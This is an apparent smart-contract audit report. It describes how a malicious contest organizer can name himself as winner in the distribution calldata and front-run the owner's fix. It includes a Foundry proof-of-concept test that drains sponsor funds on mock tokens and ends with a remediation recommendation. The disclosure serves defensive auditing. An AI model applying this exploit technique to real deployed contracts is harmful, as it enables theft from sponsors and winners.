Summary
Malicious organizer can claim all tokens for himself.
Vulnerability Details
Only the owner
and organizer
can call distribute funds, through the following functions: deployProxyAndDistribute
, deployProxyAndDistributeBySignature
, deployProxyAndDistributeByOwner
, distributeByOwner
.
Now, if we have a malicious organizer
, he can easily call deployProxyAndDistribute
and inside the bytes data
set himself or some of his addresses as one of the winners
. This way he can easily steal funds from sponsors
and real winners
.
Even if the owner
recognizes that the organizer
has become malicious and attempts to call deployProxyAndDistributeByOwner
, the organizer
can easily front run him and revert his transaction.
Impact
Loss of funds for both sponsors
and winners
.
POC:
Paste the following inside test/ProxyFactoryTest.sol
and run forge test --mt testMaliciousOrganizerCanStealFundsFromSponsorsAndFromWinners -vvvv
function createMalData() public view returns (bytes memory data) {
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
address[] memory winners = new address[](1);
@>
@> winners[0] = organizer;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
}
function testMaliciousOrganizerCanStealFundsFromSponsorsAndFromWinners() public setUpContestForJasonAndSentJpycv2Token(organizer) {
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
uint256 organizerBalanceBefore = MockERC20(jpycv2Address).balanceOf(organizer);
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
bytes memory malData = createMalData();
vm.warp(20 days);
vm.prank(organizer);
proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), malData);
vm.expectRevert();
bytes memory realData = createData();
vm.prank(factoryAdmin);
proxyFactory.deployProxyAndDistributeByOwner(organizer, randomId_, address(distributor), realData);
bytes32 salt = keccak256(abi.encode(organizer, randomId_, address(distributor)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor));
vm.expectRevert();
vm.prank(factoryAdmin);
proxyFactory.distributeByOwner(proxyAddress, organizer, randomId_, address(distributor), realData);
uint256 organizerBalanceAfter = MockERC20(jpycv2Address).balanceOf(organizer);
assertGt(organizerBalanceAfter, organizerBalanceBefore);
assertEq(MockERC20(jpycv2Address).balanceOf(organizer), organizerBalanceBefore + 9500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
}
Tools Used
Manual review
Foundry
Recommendations
The only way to completely mitigate this issue is to remove both deployProxyAndDistribute
and deployProxyAndDistributeBySignature
as both can be used maliciously. This is a big change, but in order to protect funds I believe this is necessary.